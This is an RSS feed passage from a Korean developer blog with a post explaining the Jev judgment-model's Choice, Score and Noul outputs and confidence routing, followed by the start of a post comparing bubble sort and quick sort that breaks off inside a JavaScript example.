<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[RSS Feed of AI 시대 개발자 도구 블로그 | JavaPark]]></title><description><![CDATA[AI 시대의 개발자 도구, 실전 경험을 공유합니다]]></description><link>https://blog.javapark.kr</link><generator>GatsbyJS</generator><lastBuildDate>Mon, 12 Oct 2026 04:43:29 GMT</lastBuildDate><item><title><![CDATA[Jev 쉽게 이해하기 소프트웨어를 위한 판단 전문 AI]]></title><description><![CDATA[고객 문의가 Jev를 거쳐 Choice, Score, Noul 형태의 판단으로 나오는 흐름 Jev는 소프트웨어 안에서 분류와 평가 같은 작은 판단을 빠르게 처리하도록 만든 AI 모델입니다. TypeSafe AI가 2026년 9월 1…]]></description><link>https://blog.javapark.kr/jev-system-one-model/</link><guid isPermaLink="false">https://blog.javapark.kr/jev-system-one-model/</guid><pubDate>Sat, 10 Oct 2026 23:15:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/jev-system-one-thumbnail.webp&quot; alt=&quot;고객 문의가 Jev를 거쳐 Choice, Score, Noul 형태의 판단으로 나오는 흐름&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jev는 소프트웨어 안에서 분류와 평가 같은 작은 판단을 빠르게 처리하도록 만든 AI 모델입니다.&lt;/strong&gt; TypeSafe AI가 2026년 9월 15일 공개했으며, 회사가 ‘System One 모델’이라고 부르는 모델 계열의 첫 공개 모델입니다. 판단 결과를 프로그램이 바로 사용할 수 있는 형태로 반환한다는 점이 핵심입니다. &lt;a href=&quot;https://typesafe.ai/blog/introducing-system-one-models-and-jev&quot;&gt;공식 발표&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;고객 문의를 읽고 담당 부서를 정하는 일을 생각해 보겠습니다. 이때 프로그램에 필요한 정보는 ‘배송팀’, ‘결제팀’, ‘기술지원팀’ 중 어디로 보내야 하는지입니다. 그 결과를 받으면 문의를 전달하는 다음 작업을 진행할 수 있습니다.&lt;/p&gt;
&lt;p&gt;Jev는 이런 업무 흐름 속의 &lt;strong&gt;분류 담당자&lt;/strong&gt;로 생각하면 이해하기 쉽습니다. 어떤 판단을 맡길 수 있는지, 실제 자동화에서는 어떻게 사용하는지 살펴보겠습니다.&lt;/p&gt;
&lt;h2&gt;Jev가 받는 입력과 돌려주는 결과&lt;/h2&gt;
&lt;p&gt;Jev에는 &lt;strong&gt;판단에 필요한 정보인 state&lt;/strong&gt;와 &lt;strong&gt;구체적인 질문인 questions&lt;/strong&gt;를 전달합니다. 고객 문의 내용과 주문 정보를 주고, “어느 부서에서 처리할 문의인가?”라고 물어보는 식입니다.&lt;/p&gt;
&lt;p&gt;자연어 입력을 이해하지만, 답은 개발자가 정의한 선택지나 평가 기준에 맞춰 나옵니다. 프로그램은 이 결과를 읽어 분기하거나 정렬할 수 있습니다. &lt;a href=&quot;https://docs.typesafe.ai/introduction&quot;&gt;공식 소개 문서&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;System One이라는 이름은 대니얼 카너먼이 설명한 빠르고 직관적인 사고인 ‘시스템 1’에서 가져왔습니다. 여기서는 &lt;strong&gt;범위가 좁고 빠른 판단&lt;/strong&gt;에 초점을 맞춘다는 뜻으로 이해하면 됩니다. 사람이 생각하는 방식을 그대로 재현한다는 의미로 볼 필요는 없습니다. &lt;a href=&quot;https://docs.typesafe.ai/concepts/system-one&quot;&gt;System One 문서&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Choice와 Score와 Noul&lt;/h2&gt;
&lt;p&gt;Jev에 맡기는 질문은 세 종류로 나뉩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;유형&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;th&gt;질문 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Choice&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정해진 선택지 중 하나 고르기&lt;/td&gt;
&lt;td&gt;배송·결제·기술지원·기타 중 어느 부서로 보낼까?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;설명이 붙은 단계에 따라 평가하기&lt;/td&gt;
&lt;td&gt;이 버그의 심각도는 낮음·보통·높음 중 어느 정도일까?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Noul&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;‘예’일 확률 판단하기&lt;/td&gt;
&lt;td&gt;고객이 환불을 요청했을까?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Choice는 담당 부서나 문서 종류처럼 순서가 없는 선택에 사용합니다. 선택지에 들어맞지 않는 입력을 받을 수 있다면 ‘기타’도 마련해야 합니다.&lt;/p&gt;
&lt;p&gt;Score는 심각도나 관련성처럼 정도를 평가할 때 사용합니다. 각 단계의 의미를 정의하면 그 사이에 해당하는 점수도 반환할 수 있습니다.&lt;/p&gt;
&lt;p&gt;Noul은 0에서 1 사이의 값을 반환합니다. 1에 가까우면 ‘예’, 0에 가까우면 ‘아니요’, 0.5 부근이면 판단이 애매하다는 뜻입니다. &lt;strong&gt;0.5가 ‘반쯤 환불을 원한다’는 뜻은 아닙니다.&lt;/strong&gt; &lt;a href=&quot;https://docs.typesafe.ai/primitives/noul&quot;&gt;Noul 문서&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;같은 입력을 사용하는 질문 여러 개를 한 번에 보낼 수도 있습니다. 같은 요청 안의 질문은 각각 독립적으로 평가되므로, 앞선 답이 다음 질문에 필요한 경우에는 요청을 나누어야 합니다. &lt;a href=&quot;https://docs.typesafe.ai/primitives&quot;&gt;질문 유형 문서&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;고객 문의 자동화에 적용하는 예시&lt;/h2&gt;
&lt;p&gt;고객이 다음과 같은 문의를 보냈다고 가정해 보겠습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;주문한 상품이 아직 도착하지 않았어요. 배송이 어렵다면 환불받고 싶습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;프로그램은 문의 내용과 주문 상태를 Jev에 전달하고, 담당 부서와 환불 요청 여부를 각각 물어볼 수 있습니다. 그런 다음 배송 확인이 필요한 문의로 분류하면서, 환불 검토가 필요하다는 표시도 함께 붙이는 흐름을 구성할 수 있습니다.&lt;/p&gt;
&lt;p&gt;다음은 이런 시스템을 설계했을 때의 처리 순서입니다. 실제 Jev 실행 결과를 보여주는 예시는 아닙니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;프로그램이 문의 내용과 주문 정보를 모읍니다.&lt;/li&gt;
&lt;li&gt;Jev가 담당 부서와 환불 요청 여부를 판단합니다.&lt;/li&gt;
&lt;li&gt;프로그램이 판단 결과와 업무 규칙을 조합합니다.&lt;/li&gt;
&lt;li&gt;결과가 애매하면 담당자가 확인하도록 보냅니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;실제 문의 전달이나 환불 처리는 프로그램의 코드가 실행합니다.&lt;/strong&gt; 확신도가 낮은 결과를 담당자에게 보내는 흐름도 코드에서 구성합니다. &lt;a href=&quot;https://docs.typesafe.ai/patterns/confidence-routing&quot;&gt;확신도에 따른 처리 경로&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;확신도가 자동화에 도움이 되는 이유&lt;/h2&gt;
&lt;p&gt;Choice와 Score는 선택지별 확률과 함께 &lt;code class=&quot;language-text&quot;&gt;confidence&lt;/code&gt; 값을 제공합니다. 한 결과에 확률이 몰리면 확신도가 높아지고, 여러 결과로 퍼져 있으면 낮아집니다.&lt;/p&gt;
&lt;p&gt;이를 활용하면 분류가 뚜렷한 문의는 자동으로 전달하고, 담당 부서가 애매한 문의는 사람이 확인하도록 만들 수 있습니다. Noul은 별도의 &lt;code class=&quot;language-text&quot;&gt;confidence&lt;/code&gt; 필드 없이 ‘예’일 확률 자체로 불확실성을 표현합니다.&lt;/p&gt;
&lt;p&gt;여기서 구분해야 할 점이 있습니다. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;confidence&lt;/code&gt;가 0.9라고 해서 해당 답의 정확도가 반드시 90%라는 뜻은 아닙니다.&lt;/strong&gt; 이는 모델이 반환한 확률 분포를 요약한 값입니다. 자동 처리 기준은 실제 문의 데이터로 결과를 확인하면서 정해야 합니다. &lt;a href=&quot;https://docs.typesafe.ai/confidence&quot;&gt;확신도 문서&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;속도와 비용 수치를 읽는 방법&lt;/h2&gt;
&lt;p&gt;TypeSafe는 공개 당시 응답 시간을 약 &lt;strong&gt;70~500밀리초&lt;/strong&gt;로 제시했습니다. 짧은 판단을 여러 번 수행하는 프로그램에서 응답 시간을 줄이겠다는 방향입니다.&lt;/p&gt;
&lt;p&gt;다만 이는 회사가 발표한 수치입니다. 공식 발표는 평가가 주로 서비스가 위치한 미국 서부에서 실행됐다고 설명합니다. 한국에서 호출할 때는 입력 크기와 네트워크 환경을 포함한 실제 응답 시간을 확인해야 합니다.&lt;/p&gt;
&lt;p&gt;홈페이지의 ‘193.6배 빠름’과 ‘444.6배 저렴함’도 회사의 특정 업무 흐름 평가에서 나온 비교입니다. 모든 작업에서 같은 차이가 난다고 읽으면 곤란합니다. TypeSafe도 해당 수치가 실제 개선 폭의 높은 쪽에 해당할 것으로 예상한다고 밝혔습니다. &lt;a href=&quot;https://typesafe.ai/blog/introducing-system-one-models-and-jev&quot;&gt;공식 발표의 성능 비교와 평가 조건&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;개발자가 주목할 지점&lt;/h2&gt;
&lt;p&gt;Jev에서 제가 흥미롭게 보는 부분은 &lt;strong&gt;AI의 판단을 작은 단위로 나누어 소프트웨어에 넣는 방식&lt;/strong&gt;입니다. 문의 분류, 자료 평가, 다음 처리 경로 선택처럼 반복되는 판단을 모델에 맡기고, 전체 업무 흐름은 코드에서 구성하는 것입니다.&lt;/p&gt;
&lt;p&gt;이런 구성이 늘어난다면, AI 모델을 선택하는 기준에도 ‘우리 프로그램에 필요한 판단을 얼마나 빠르고 일관되게 처리하는가’가 더 큰 비중을 차지할 것 같습니다. 이는 Jev의 설계 방향을 보고 든 제 생각입니다.&lt;/p&gt;
&lt;p&gt;직접 적용한다면 우선 &lt;strong&gt;문의 하나를 어느 부서로 보낼지&lt;/strong&gt;처럼 범위가 좁은 작업부터 시작할 수 있습니다. 명확한 문의와 애매한 문의를 함께 모으고, 잘못 분류한 사례와 자동 처리 비율을 확인합니다. 빠르게 답하더라도 업무 기준에 맞게 분류해야 자동화에 도움이 되기 때문입니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Jev로 글이나 코드를 작성할 수 있나요&lt;/h3&gt;
&lt;p&gt;Jev는 글, 코드, 판단 이유에 대한 설명을 생성하지 않습니다. 현재 공식 문서 기준으로 텍스트 입력을 받아 정해진 형태의 판단을 반환합니다. 이미지·음성·영상 입력은 지원하지 않습니다. &lt;a href=&quot;https://docs.typesafe.ai/concepts/system-one&quot;&gt;지원 범위&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;일반 LLM의 구조화된 출력과는 어떻게 다른가요&lt;/h3&gt;
&lt;p&gt;일반 LLM도 JSON이나 스키마에 맞춘 출력을 사용할 수 있습니다. TypeSafe는 Jev를 판단과 확률 반환에 맞춰 설계하고 학습한 모델로 설명하며, 여러 결과를 병렬로 반환하는 방식을 강조합니다. 실제 도입 효과는 같은 입력과 평가 기준으로 비교해야 합니다. &lt;a href=&quot;https://typesafe.ai/blog/introducing-system-one-models-and-jev&quot;&gt;공식 비교 설명&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Jev는 판단을 틀리지 않나요&lt;/h3&gt;
&lt;p&gt;정해진 형식으로 결과를 반환하더라도 잘못된 선택을 할 수 있습니다. &lt;strong&gt;출력 형식이 맞는 것과 판단 내용이 맞는 것은 별개입니다.&lt;/strong&gt; 공식 문서도 확률의 보정이 개별 답의 정답을 보장하지 않는다고 설명합니다. &lt;a href=&quot;https://docs.typesafe.ai/concepts/system-one&quot;&gt;확률과 정답의 관계&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;함께 읽을 글&lt;/h2&gt;
&lt;p&gt;Jev를 처음 살펴본다면, 우리 서비스에서 사람이 반복해서 분류하거나 평가하는 일이 무엇인지 떠올려 보면 좋겠습니다. 그중 입력 정보와 판단 기준을 분명히 정할 수 있는 작업이 실험의 출발점이 될 수 있습니다.&lt;/p&gt;
&lt;p&gt;AI를 실제 업무 흐름에 연결하는 방식은 &lt;a href=&quot;/ai-agent-guide-2026/&quot;&gt;AI 에이전트 가이드&lt;/a&gt;와 &lt;a href=&quot;/harness-engineering/&quot;&gt;하네스 엔지니어링&lt;/a&gt;에서도 살펴볼 수 있습니다. 관련 글은 &lt;a href=&quot;/category/ai/&quot;&gt;AI 카테고리&lt;/a&gt;에 모아 두었습니다.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;공식 발표와 문서 확인일: 2026년 10월 10일. 표지 이미지는 Jev의 동작 개념을 설명하기 위해 AI로 제작한 일러스트입니다.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[정렬 알고리즘 — 1만 개에서 5천만 번과 13만 번의 차이]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 정렬 알고리즘의 시간복잡도는 다들 외웁니다. 버블은 , 퀵은 . 그런데 이게 실제로 얼마나 차이 나는지는 잘 와닿지 않습니다. 숫자로 보면 이렇습니다. 원소 수 버블  퀵  배수 32 496 160 3배 1,000 49…]]></description><link>https://blog.javapark.kr/sorting-algorithms/</link><guid isPermaLink="false">https://blog.javapark.kr/sorting-algorithms/</guid><pubDate>Wed, 09 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/65eff910f378b34e0a9f69896a2a6cba/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDUlEQVR42lWS6U7cMBSFo5YstuPEdpzY2ZchYZbMwiwwC7RMgRZaCVRUqEatyq++Sp+7hlJVlY6Oji1/vlfX1nSL/JHxN/wTZKYjTBoDngPRgWENo+6TwlotLZ5rBqDW/zIBfbkOcdOVFkuBXwJFxj2UtUow6YGwAUGlQciwI7ArsSOV29hHiEPkWZAZtm+SUJW1w8bJBm45IfXc3Z855RinfSg6mo04ljXLhm7YpfnYdkNjDxu6s6c7FhYmiRRMqyHrH4v+ig/WtLck9YxUYyhrjWD/9Oz6cLa5/by7uLx5d3b99f7Hzce78+2VagqS+BWNF6PNbnub9pdlf7Xfbg4Gq6KZmapt35X3R9tvi+3D+vLL6mL38HhyeTf69Ni+37HmCNj8NU2mvcX31YeinrbtejLcHI9Oet25rgYmSbgq2tNqNI7raXIwHx4Fcp915iRtSdyFNgc0duPa7S7CyVsn79v5AGU9O+kCL9MEjQbtctguJ6P1bPqmKdqQCB8xhhgGBOHAsn3eOWx+/oq2D1SW4vBcLq54szAd+VQ5oVHhpaWXKs94GtI4oBFzpYsDpMaOOGAJ8nPIYuilUAWeQxobONAkjVKF+XlHFAVPExaHNFKDYI5wba5gEzDdovrzyxl28Oy+jjwdUE2QMAuKUlSVrHI/i2mkdhRMceC8wFSdM5BnKF4F+BT054/0G/PJR0V6VxfHAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/65eff910f378b34e0a9f69896a2a6cba/a1b3b/thumbnail.webp 215w,
/static/65eff910f378b34e0a9f69896a2a6cba/fc700/thumbnail.webp 430w,
/static/65eff910f378b34e0a9f69896a2a6cba/521f7/thumbnail.webp 860w,
/static/65eff910f378b34e0a9f69896a2a6cba/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/65eff910f378b34e0a9f69896a2a6cba/f7886/thumbnail.png 215w,
/static/65eff910f378b34e0a9f69896a2a6cba/bc750/thumbnail.png 430w,
/static/65eff910f378b34e0a9f69896a2a6cba/3e3fe/thumbnail.png 860w,
/static/65eff910f378b34e0a9f69896a2a6cba/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/65eff910f378b34e0a9f69896a2a6cba/3e3fe/thumbnail.png&apos; alt=&apos;정렬 알고리즘 비교 — 같은 배열을 정렬할 때 버블 정렬과 퀵 정렬의 비교 횟수 차이&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;정렬 알고리즘 비교 — 같은 배열을 정렬할 때 버블 정렬과 퀵 정렬의 비교 횟수 차이&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;정렬 알고리즘의 시간복잡도는 다들 외웁니다. 버블은 &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;, 퀵은 &lt;code class=&quot;language-text&quot;&gt;O(n log n)&lt;/code&gt;. 그런데 이게 실제로 얼마나 차이 나는지는 잘 와닿지 않습니다.&lt;/p&gt;
&lt;p&gt;숫자로 보면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;원소 수&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;버블 &lt;code class=&quot;language-text&quot;&gt;n(n-1)/2&lt;/code&gt;&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;퀵 &lt;code class=&quot;language-text&quot;&gt;n log₂n&lt;/code&gt;&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;배수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;32&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;496&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;160&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1,000&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;499,500&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;9,965&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;50배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;10,000&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;49,995,000&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;132,877&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;&lt;strong&gt;376배&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1,000,000&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;499,999,500,000&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;19,931,568&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;25,085배&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;원소가 32개일 때는 3배 차이지만, 1만 개에서는 376배가 됩니다.&lt;/strong&gt; 복잡도 표기가 무서운 이유가 여기 있습니다. 작은 입력에서 잰 감각이 큰 입력에서 완전히 무너집니다.&lt;/p&gt;
&lt;p&gt;같은 배열 28개를 두 알고리즘으로 동시에 돌린 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다. 퀵이 먼저 끝나고도 버블이 계속 세고 있는 구간이 이 차이의 전부입니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/xpCOvIpNKYI&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAEnElEQVR42nWU229UVRTGT8HOue9znzPnfpv7tagFASMopkpsU4oSaEunnZlWBQJMS1togdqWUqMx8cnExChRoK0gCBSjQmI0UQRBo1AjD774n7jONIovJl9W9sxZv/Wtnb33wrSoIypWhNcZxSVFCxdMXLAI0SZEB4SL7qr++WnD1whvpu1s0clhJTfr6QlgZDtHR71ISDqE5P6fSIiiXfQKT2XWY02s+hinE4LZzBu4YP83iZQ8Ugb5YZQ8Wvbg/zW81YQMWnJaU09gpGCCcNEipEeGDSYglICQ45SSwOVgjeA2IZOSvZLfMvJ0+/IrQ990v44RIWmGm/zXUPYJJWQgrpX8Jt5plvyk21Ld8MLZzsqtvYce1sYfDIze2NOAidB21dCllYBcZQR3rey7bqm3te1MR//d8vAf1bEHldEfeg/d6avfK9dv7N6HNWydxvbcZjH0wXgnZubaW7a8u73n256DK9XR36tjAN/ae/hO32GA75WHfy4PhzAp2s2C04R0DNmcmtiS3TT13Ms39xz4pX/kYe3o3fLI7b76T+Xh2+XhHwEu17/vPQSFgP8a4CbOFKLx+saXhrY+szSd++vA+J+DE7AryLhfGf114Mj9ypGVyuhvsO4fgTV4rlTGoJfveg9iz6eerG/efm3H/usj2758J3V+R+VsZ3Whq/bxjurSzqHzOwcXdg4uwqJr8HxXbaFr8JPOylJXbbF94P22bkzLbOatfLPoMFqG0XNkLE2oiUgsGdEzuJHFzSxu5cJoZCJ6OqIlcfgkBcy6VtTairHxVkrPUIonOXnVfxwK0bEUo6dpM0vDGmRDzFFmjjQylJai9TQcB0q3RAvrMZLTKdGmlPAaUXJAqwlGS0MGY2QBAJgCAdmAyWiC4Dxc8JlUKdbRhlGyA/eOUTxGDdhYAsWSSEuyOphnGCMDnsCTWgaX4oQYoFRLtL3Nn3k1vzSVWzyJ0SHswJNCaoBCOIH0FDLTyM6y0LmaouQEiheVF7e5Y/3ZMxPFy7OlL+aLn89mPjyKMbLNSA5SPKT6nJbkzRRvpLhoghV9zskqz25xhvsgr3Rtrrh8unB5NrdwsnBxpnBpJvPRMYAtFHVRDMiAUwLEu7yWjG7YaNd2pd8bAYci+FybK1yYhlbzF6dzS1NAPoJpzmBJHSFLShet3R3J+X2QCu0Vr5zKL06BVf7TNwqNTYZbPXciD4UuTKc/GMeQbEnZvLVre+rN/ZC97ubbpa/eCjv8bAZi8eqpQqPh0pXThSuzxatzhUuzpeX50vX53LnjmLp1k1fvTswOJuZei5+sxScGQh2vBccGghO1YLISHK/6J6r+ZMWbqHiTFXe8P4yTA3a9J3RmkY7oGMdoAjIFzhY4ByLP2YizWQSyaBgDINYkGQOn9WY6FqFCYYjTOMHiZVtQXDHqSaovNiREA17xOTgFxWPDd+7CjaBkm5Ss8P2Hc9LAWF5DgsGJJi/ZogyT1AVBIV5xOclFssPCWco2LdmUZJMhZuG8AdM2wsdWYZ0TdEEwBdESJFuQHSiEJIuTLFaywuOQTFq0KBisAgzJEItwagSpfwM/EzBeGf04TgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/79065783bfeb34bc5126033ccaf50e6a/a1b3b/video-thumb.webp 215w,
/static/79065783bfeb34bc5126033ccaf50e6a/fc700/video-thumb.webp 430w,
/static/79065783bfeb34bc5126033ccaf50e6a/521f7/video-thumb.webp 860w,
/static/79065783bfeb34bc5126033ccaf50e6a/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/79065783bfeb34bc5126033ccaf50e6a/f7886/video-thumb.png 215w,
/static/79065783bfeb34bc5126033ccaf50e6a/bc750/video-thumb.png 430w,
/static/79065783bfeb34bc5126033ccaf50e6a/3e3fe/video-thumb.png 860w,
/static/79065783bfeb34bc5126033ccaf50e6a/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/79065783bfeb34bc5126033ccaf50e6a/3e3fe/video-thumb.png&apos; alt=&apos;정렬 알고리즘 영상 — 퀵은 123번으로 끝났는데 버블은 338번을 세고 있는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;정렬 알고리즘 영상 — 퀵은 123번으로 끝났는데 버블은 338번을 세고 있는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;O(n²) 세 형제 — 무엇이 다른가&lt;/h2&gt;
&lt;p&gt;버블·선택·삽입은 모두 &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;지만 실제 동작은 꽤 다릅니다.&lt;/p&gt;
&lt;h3&gt;버블 정렬 — 옆 사람과만 비교한다&lt;/h3&gt;
&lt;p&gt;인접한 두 개를 비교해서 순서가 틀렸으면 바꿉니다. 한 바퀴 돌 때마다 가장 큰 값이 맨 뒤로 밀려납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bubbleSort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; swapped &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
